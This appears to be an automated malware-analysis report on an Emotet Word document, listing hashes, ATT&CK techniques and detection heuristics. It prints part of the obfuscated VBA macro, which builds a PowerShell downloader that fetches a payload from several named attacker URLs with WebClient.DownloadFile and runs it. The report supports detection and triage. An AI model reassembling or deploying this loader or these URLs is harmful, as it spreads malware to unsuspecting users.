Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 6d0d7e3180a65517…

MALICIOUS

Office (OLE)

91.5 KB Created: 2017-11-08 13:41:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 56b2945622de58863e62d032e6264bcf SHA-1: 34bb2bd80b8b6fd739d48dbdec203be50ed9ad64 SHA-256: 6d0d7e3180a65517917e9d46f13a0ab6d54bc194edc950130aff9f3bec564d95
304 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains heavily obfuscated VBA macros, including an AutoOpen function, which are designed to execute arbitrary code. Critical heuristics indicate the use of Shell() calls and an obfuscated loader. The script attempts to download and execute a payload from the reconstructed URL "http://www.demAS+mAScorymAS+mAS.i4Mg/mAS+mASXFlETmAS+mASim4M'+'g041AQziAbL3z5kbwmOkrh2j5", and also attempts to use PowerShell. This is consistent with the Emotet family's typical behavior of acting as a downloader for further malicious stages.

Heuristics 9

  • ClamAV: Doc.Macro.Emotet-6374344-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Emotet-6374344-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.demAS+mAScorymAS+mAS.i4Mg In document text (OLE body)
    • http://virtualdmAS+mASoorsmAS+mAStep4Mg+4MgmAS+mAFp9PoqzzqYQdlnw9msEzuIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 51833 bytes
SHA-256: 042f1db8609d814879508627ca1720263e15b538c5dd79602e22d4191bb6770f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 46 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KXpzLPAPF"
Function RBrwkFhdf()
UfwpwLuAs = "" + VqVCoQU + Mid("Q4jtNzWPwtAhl9j92).RePlAcE(mASvhRmAS,[sTring][ChAR]39))4Mg) -rEpLacE 4MgmwV4'+'Mg,[chAR]36  -rEpLacE  ([chAR]109+[chAR]65+[c'wzzj9a2L9qCXsPT25A", 16, 110) + hbbkVEl + wiMAXYb
hKFiDRAUlQi = "" + oYLQFzv + Mid("SS5vjIDOGrjbpbS.c4Mg+4Mgom/SmAS+ml97avWZa5n3GS5f6Fo", 15, 19) + qNczdhv + kZDmhGQ
QLizBjXla = "" + pGTcSih + Mid("Ytw2hDS88SV7kVHCqs8ZVHiEVki& ( $PSHOme[4]+$pshomE[34]+'X') (('((4Mg. ( mwVSHeLlID[1]4Mg+4Mg+mwVsHeLLid[13]+mASxmAS) (('+'mASBHmAS+mASjfr4Mg+4Mganc = nmAS+mASew-o4Mg+4MgbmAS+mASjemAS+mASUfpwTAoLasSi", 28, 158) + tLZqrjp + hziofOs
nsGAKwnKd = "" + TEoitmU + Mid("rtkVaEmfmAScmAS+mASz/HRlumAS+mASH/,hmAFroPT", 9, 30) + pHCdXSo + FCVfuKE
ckVVoXEoVK = "" + AwVGKMA + Mid("kq89NXjYSdmAS+mASom'+';4Mg+4MgYNZ7sKtj1wFlDQR1rEHcES", 10, 21) + CHGuCDj + KWCZrHh
vfWwD = "" + JoAsKUZ + Mid("QASSbTmAS4Mg+4M'+'g+mASy'+'mAS+mA'+'SrmAS+m4Mg+4'+'MgASS/,http://www.demAS+mAScorymAS+mAS.i4Mg'+'+4Mgr/mAS+mASXFlETmAS+mASim4M'+'g041AQziAbL3z5kbwmOkrh2j5", 2, 129) + zZzwDzT + jjtWwtS
MUoOKUPh = "" + ZzwNjjz + Mid("wzQ4KZ7Jg+4Mg'+'mAS+mAS.exevmAS+mAShR;fmAS+mASomAS+mASreamAS+mASch(BHjmAS+mASabc mAS4Mg+4Mg+mASin BHjbc4Mg+4MgdmAS+mAS){tmAS+m'+'ASry{BH4Mg+4id", 9, 133) + kTzztNm + onfIGNR
odmbQzF = "" + aiMmwmY + Mid("9+4MgAS+mASrmAS+mAS'+'R'+'mAS+4Mg+4MgmASs/,htmAS+mAStp:/m'+'A'+'S+mAS/mA4Mg+4MgS+mASwwmAS+mASw.o4Mg+4Mgbnovak4Mg+4MgmAS+4Mg+4MgmASo4Mg+4Mgs4Mg+4Mgtelu.mAS+v9lqcVY9io", 2, 154) + KGwzCXF + zYizzRQ
obEvdJJf = "" + wURfiYB + Mid("WYPVwdBOwv9lRJqXONjBuNMgjfranmAS+mAScmAS+mAS.DmAS+mA'+'Sownload'+'File(BHjamAS+mASb'+'c.ToStrimAS+mASng()mAS+mAS,mAS+mAS B4Mg+4MgmAS+4Mg+4MgmASHj4Mg+4Mghuas)4Mg+4Mg;InvomAS+m4Mg+4MgASkemAS4'+rX", 23, 169) + hLGpAZz + jGUpdlz
tVFzLofHzAi = "" + iSisnAJ + Mid("rhfBRQaXsusfctRfqRTjct SysmAS4Mg+4Mg+mAStemAS+mASmmAS+mAS.4Mg+4MgN4Mg+4Mget.WebClmAS+mASimAS+mASent;BHjnsadasd mVUDX", 21, 92) + QwcXjzj + cpQbwEE
cWYJvWCsrm = "" + HlzziwN + Mid("Bc+'hAR]83),[chAR]39) nQg& ( X7eEnv:PUBLic[13]+X7eEnv:PubLic[5]+4Mgx4Mg)').rePlAcE(([char]88+[char]55+[char]101),'$').rePlAcE(([char]110+[char]81+[char]103),[duj5ru1DFv", 3, 156) + jEzXcbh + NSDYFbv
MMTJaKwAO = "" + dzWGsqC + Mid("6HtlmN04pJjsssage;}mAS+mAS}mAS).ReP4Mg+4MglAcE(([ChAR]66+[ChAR]72+[ChAR]106),m'+'ASmwVmAS).RePlAcE(m4Mg+4MgASfrbmAS,[sTring][ChA4Mg+4MgR]d3kNBcH1", 13, 125) + sHvjBzp + UwTzFjl
XMIQQYzEaT = "" + BziFYHC + Mid("lqAAS2mAS+mAS45)mAS+mAS;'+'BmAS+mASHjhumAS+mASamAS+mASs mAS+mAS= mAS+4Mg+4MgmASBHjmAS+mA4Mg+4M'+'gSenv:mAS+4Mg+4MgmASpub'+'mAS+mASlmAS+mASicmASDtpouRFsOhAIX", 4, 140) + jUfnfdP + HKUBspa
PfEXNXz = "" + OzHdlqM + Mid("fPHEbjAS+'+'mASatmAS+mASi.c4Mg+4Mgom/wp-cmAS+mAS4Mg+4Mgonte4Mg+4MgmAS+mASnmA'+'S'+'4Mg+4Mg+mAStmAS+mA4Mg'+'+4MgS/VkACoEvKL/,mAS+mAShmAS+mASttp://mAS+mN1Ki6LFN", 7, 144) + lpjbYpK + jwqzfMK
mfAASLzd = "" + uPDjdDb + Mid("tG0k5H6W'Mg+4Mg+mAS-mAS+mASItemmAS+mAS(BHjhumAS+mASas);breamAS+mASk;}catmAS+mASch'+'mAS'+'+mAS{wmAS+mASrite-hosmAS+mASt BHmAS+mASj4Mg+4Mg_.mAS+mASExceptio'+'n.MmAS+mASeCjw1QAK8zdD", 9, 160) + wUjVQzD + YAiiJvY
UoRFbYk = "" + wwjHrcH + Mid("FZ3sB6ucCSTrING][char]124).rePlAcE('4Mg',[STrING][char]39)) bdzpQ1hobun", 10, 51) + XWppazi + jmiAwOp
HLAPkO = "" + zCEvYDX + Mid("2mAS+mASBHjbcd = vhRmAS+mAShttp://virtualdmAS+mASoorsmAS+mAStep4Mg+4MgmAS+mAFp9PoqzzqYQdlnw9msEzu", 2, 75) + wihRWfQ + XNPplmz
ajDjbD = "" + wAplmCW + Mid("ZYdPNEzHniZwKETmB279ZT36OmAS+m'+'ASHjkarapmAS+4Mg+4MgmASamAS+m'+'ASs =mAS+mAS BmAS+mASHmAS+mASjnsadmAS+mASasdmAS+mA'+'S.nexmAS+mAS4Mg+4Mgt(1, mAS'+'+mAS34mAS+mAS3mAS+mNAdWVvT7", 26, 142) + NtacNwo + YJLRoVq
CMQXXDvSG = "" + zzAuGwn + Mid("wOJ5sLHDSs2EsZj3RumuwTiS+mASttpmAS+mAS:'+'/mAS+mAS/wwwmAS+mAS.mAS+mASgmAS+mASrmAS+mASupomAS4Mg+4Mg+mASdecmAS+'+'mASomAS'+'4Mg+4Mg+mASnsumomYZz51KHm2i1", 24, 116) + EWjGwcR + 
... (truncated)

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